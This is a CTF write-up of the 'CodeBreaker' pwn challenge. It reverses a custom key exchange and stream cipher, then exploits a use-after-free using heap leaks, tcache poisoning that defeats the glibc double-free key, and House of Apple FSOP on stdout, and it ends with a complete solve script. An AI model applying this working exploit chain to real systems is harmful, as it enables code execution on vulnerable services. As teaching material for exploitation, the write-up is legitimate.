Two challenges stacked on one another. Every byte after the handshake is encrypted with a bespoke cipher, so the heap bug is unreachable until the crypto is reimplemented. Once on the wire, free is called unconditionally while the slot is only cleared when a refcount hits zero — a use-after-free with both read and write.
The finish is forced by an unusual constraint: there is no arbitrary read, because every allocation memcpys your own data over the chunk it just returned. That rules out leaking PIE, which rules out the obvious function-pointer target, which leaves FSOP inside libc.
Challenge Description
CodeBreaker: enterprise-grade encrypted key-value storage. All traffic is encrypted with our proprietary cipher. Your data has never been safer.
Provided: code_breaker, libc.so.6, ld-linux-x86-64.so.2. Stripped, PIE, canary, FORTIFY, Partial RELRO.
The protocol
Connecting produces 19 bytes:
00000000: 0011 010e 97be dcef 5da7 481c 59b6 fdbc ........].H.Y...00000010: fd11 b1 ...00 11 is a big-endian length of 17, then a payload of 01 plus sixteen bytes read from /dev/urandom. The framing is len (2 bytes, big endian) | payload; the handshake is plaintext and everything after it is encrypted.
Three steps, from 0x1670:
- Server to you:
01+ 16 random bytes. - You to server:
02+ 16 bytes of your choice. The length check iscmp WORD PTR [rsp+0xc],0x10 / jbe fail, so it must be greater than 16. - Both sides derive the key, both counters are zeroed, and you send
03+ a 16-byte proof, encrypted at counter 0. The server then sends an unsolicited04 00ack — consume it, or every later reply looks shifted by one command.
Key schedule
At 0x1755, with material = nonce || your sixteen bytes and the state zeroed:
1790: lea edx,[rsi+rax*1]179b: and edx,0x1f179e: movzx edx,BYTE PTR [rsp+rdx*1+0x20] ; material[(i + 8r) & 31]17a3: xor dl,BYTE PTR [rax-0x1] ; ^= state[i]17a9: movzx edx,BYTE PTR [rbp+rdx*1] ; SBOX lookup17ae: xor dl,BYTE PTR [rcx-0x1] ; ^= material[3r + i]17b1: rol dl,0x317b4: mov BYTE PTR [rax-0x1],dl ; state[i] = ...Four rounds:
def derive_key(nonce16, mine16): mat = bytes(nonce16) + bytes(mine16) st = bytearray(16) for r in range(4): for i in range(16): t = mat[(i + 8*r) & 31] ^ st[i] t = SBOX[t] t ^= mat[3*r + i] st[i] = rol8(t, 3) return bytes(st)SBOX is 256 distinct bytes at .rodata:0x2040. The important observation is that you supply half the material and are handed the other half, so the key is fully computable client-side. This is a key exchange, not a challenge-response — there is nothing to brute-force.
Stream cipher
At 0x19a8, and again at 0x1810 for the handshake message:
19ab: lea eax,[rdi+rdx*1] ; counter + i19b1: and esi,0xf19b4: add al,BYTE PTR [r14+rsi*1] ; += key[i & 15]19bb: movzx eax,BYTE PTR [r12+rax*1] ; SBOX[...]19c0: xor BYTE PTR [rdx],alSo keystream[i] = SBOX[(counter + i + key[i & 15]) & 0xff], with independent counters per direction (0x42c0 inbound, 0x42c4 outbound), each advanced by the message length.
Proof
At 0x1860, checked against the 16 bytes of the type-3 message:
def mac_for(key): return bytes(key[(i + 5) & 15] ^ SBOX[key[i]] for i in range(16))With those three pieces the client is on the wire and every command responds.
The commands
Jump table at 0x2020, opcodes 0x10 to 0x16. Slots live at 0x41c0, sixteen entries of ptr, size (2 bytes), refcount (2 bytes):
0x10 alloc idx, size (BE16, 1..0x400), then data; refcount = 10x11 read returns the slot contents0x12 write into the slot, bounded by the stored size0x13 free0x14 alias copy one slot onto another, bumping refcount0x15 copies your data to a stack buffer and calls the pointer at 0x40c0 with it0x16 statusThe Vulnerability
free runs unconditionally, but the slot is only cleared once the refcount reaches zero:
1b19: call 1100 <free@plt>1b1e: sub WORD PTR [r13+0xa],0x1 ; refcount--1b24: jne 1b33 ; non-zero -> pointer stays in the slot1b28: mov WORD PTR [r13+0x8],0x01b2f: mov QWORD PTR [r13+0x0],rsiSo alloc then alias then free leaves a live pointer to a freed chunk, which 0x11 still reads and 0x12 still writes.
Exploitation
libc
Nine allocations of 0x400, free seven to fill tcache[0x410], then alias the eighth and free it — with the bin full it lands in the unsorted bin, and the UAF read returns the arena pointers:
fd = 0x717474e03b20 bk = 0x717474e03b20 same (unsorted): TrueChecked against /proc/pid/maps locally, that is libc + 0x203b20.
The first attempt at this quietly failed because one alloc was aimed at an already-occupied slot — alloc requires the slot to be empty and silently does nothing otherwise, so only six chunks reached the bin and the eighth free went to tcache like the rest.
Heap
Two chunks in a fresh size class, freed in order. The first free into an empty bin gives A >> 12; the second’s fd is (B >> 12) ^ A, and both sit on the same page:
fd2 ^ page = 0x5b14c7a130f0tcache dup
glibc 2.39 catches the naive double free with the key field. But the UAF write reaches that field, so zeroing it defeats the check outright:
c.cmd(FREE(a))page = struct.unpack("<Q", c.cmd(READ(a))[4:12])[0]c.cmd(WRITE(a, p64(0) + p64(0))) # clear fd and the double-free keyc.cmd(FREE(a)) # bin now holds a twicec.cmd(WRITE(a, p64(page ^ target))) # head -> targetTwo allocations later, the second one is served at target.
Why FSOP, and not the function pointer
Command 0x15 calls the pointer at 0x40c0 with a buffer holding your data, which is an obvious win — point it at system and send /bin/sh. But 0x40c0 is PIE-relative, and there is no way to leak PIE, because there is no arbitrary read:
1cc1: call 1190 <malloc@plt>1cd2: lea rsi,[rsp+0x34]1cdd: call 1170 <__memcpy_chk@plt> ; your data, over the chunk just returnedEvery allocation copies your own bytes over the chunk it hands back, so “reading” an arbitrary address only ever returns what you just wrote there. With no read primitive, the target has to be somewhere already known — which means inside libc.
House of Apple on stdout
Write a fake FILE over _IO_2_1_stdout_, exactly 0xe0 bytes so nothing past the struct is disturbed, with the fake _wide_data living in a heap chunk written through the UAF:
V = heap + 0x100wide = bytearray(0x200)wide[0x38:0x40] = p64(0) # _IO_buf_base == NULLwide[0xe0:0xe8] = p64(V) # _wide_vtablewide[0x168:0x170] = p64(libc + SYSTEM) # V + 0x68 = __doallocate
fp = bytearray(0xe0)fp[0x00:0x0e] = b" cat flag.txt" # _flags, and system()'s argumentfp[0x20:0x28] = p64(0) # _IO_write_basefp[0x28:0x30] = p64(1) # _IO_write_ptr > base -> overflow runsfp[0x88:0x90] = p64(heap + 0x1f0) # _lockfp[0xa0:0xa8] = p64(heap) # _wide_datafp[0xc0:0xc4] = struct.pack("<I", 0) # _mode = 0fp[0xd8:0xe0] = p64(libc + IO_WFILE_JUMPS) # vtableThree details decide whether this fires:
_flags doubles as the command string. It is the first eight bytes of the struct and also what system receives as rdi. The leading spaces keep the low byte at 0x20, which leaves _IO_UNBUFFERED (0x2), _IO_NO_WRITES (0x8) and _IO_CURRENTLY_PUTTING (0x800) all clear — every one of which would otherwise divert _IO_wfile_overflow before it reaches the allocation path.
_lock must point at writable memory. _IO_flockfile dereferences it before anything else in the flush loop. Leaving it NULL produces a bare segfault at exit with no other symptom — that cost a debugging round on its own:
exit status: -11 # _lock = NULLexit status: 0 # _lock = heap + 0x1f0, and the flag comes backThe trigger is EOF. The binary imports no exit or _exit, so the only way out of the loop is a recv error. shutdown(SHUT_WR) makes main return, glibc’s exit path runs _IO_cleanup, the flush hits the fake vtable and system runs. Output still comes back on the socket even with the write half closed — which is why the payload is cat flag.txt rather than a shell, since a shell would have no way to receive commands.
OUT: b'sun{cr4ck_tHe_ciPh3r_fr33_thE_heaP}\n'Solve Script
import struct, socket, timep64 = lambda x: struct.pack("<Q", x)
MAIN_ARENA_LEAK = 0x203b20 # what a lone unsorted chunk's fd points atSYSTEM = 0x58740IO_STDOUT = 0x2045c0IO_WFILE_JUMPS = 0x202228 # Ubuntu GLIBC 2.39-0ubuntu8.3
def leak_libc(c, size=0x400): """9 allocations, 7 freed to fill tcache, the 8th lands in the unsorted bin.""" for i in range(9): c.cmd(ALLOC(i, b"L" * size)) for i in range(7): c.cmd(FREE(i)) c.cmd(ALIAS(9, 7)); c.cmd(FREE(7)) # alias keeps the pointer alive fd = struct.unpack("<Q", c.cmd(READ(7))[4:12])[0] return fd - MAIN_ARENA_LEAK
def leak_heap(c, sa, sb, size=0x200): """First free (empty bin) gives A>>12; the second's fd is (B>>12) ^ A.""" c.cmd(ALLOC(sa, b"H"*size)); c.cmd(ALIAS(sa+2, sa)) c.cmd(ALLOC(sb, b"H"*size)); c.cmd(ALIAS(sb+2, sb)) c.cmd(FREE(sa)) page = struct.unpack("<Q", c.cmd(READ(sa))[4:12])[0] c.cmd(FREE(sb)) fd = struct.unpack("<Q", c.cmd(READ(sb))[4:12])[0] return page, fd ^ page
def poison(c, size, target, slots): """UAF write clears the tcache key, frees twice, then redirects fd.""" a, x, y, q1, q2 = slots c.cmd(ALLOC(a, b"P"*size)); c.cmd(ALIAS(x, a)); c.cmd(ALIAS(y, a)) c.cmd(FREE(a)) page = struct.unpack("<Q", c.cmd(READ(a))[4:12])[0] c.cmd(WRITE(a, p64(0) + p64(0))) c.cmd(FREE(a)) c.cmd(WRITE(a, p64(page ^ target))) return page
def pwn(target, command=b" cat flag.txt"): c, _, key = connect(target) libc = leak_libc(c) page, heap = leak_heap(c, 10, 11)
V = heap + 0x100 wide = bytearray(0x200) wide[0x38:0x40] = p64(0) wide[0xe0:0xe8] = p64(V) wide[0x168:0x170] = p64(libc + SYSTEM) c.cmd(WRITE(10, bytes(wide)))
fp = bytearray(0xe0) fp[0x00:0x00+len(command)] = command fp[0x20:0x28] = p64(0) fp[0x28:0x30] = p64(1) fp[0x88:0x90] = p64(heap + 0x1f0) # _lock - NULL here just segfaults fp[0xa0:0xa8] = p64(heap) fp[0xc0:0xc4] = struct.pack("<I", 0) fp[0xd8:0xe0] = p64(libc + IO_WFILE_JUMPS)
for i in range(5): c.cmd(FREE(i)) # recycle slots 0..4 poison(c, 0xe0, libc + IO_STDOUT, [0, 1, 2, 3, 4]) c.cmd(ALLOC(3, b"Q"*0xe0)) # pops the poisoned chunk itself c.cmd(ALLOC(4, bytes(fp))) # lands on _IO_2_1_stdout_ return c
c = pwn(("chal.sunshinectf.games", 26005))c.s.shutdown(socket.SHUT_WR) # EOF -> exit -> _IO_cleanup -> systemtime.sleep(2.0)print(b"".join(c._raw(65536) for _ in range(6)))Flag
sun{cr4ck_tHe_ciPh3r_fr33_thE_heaP}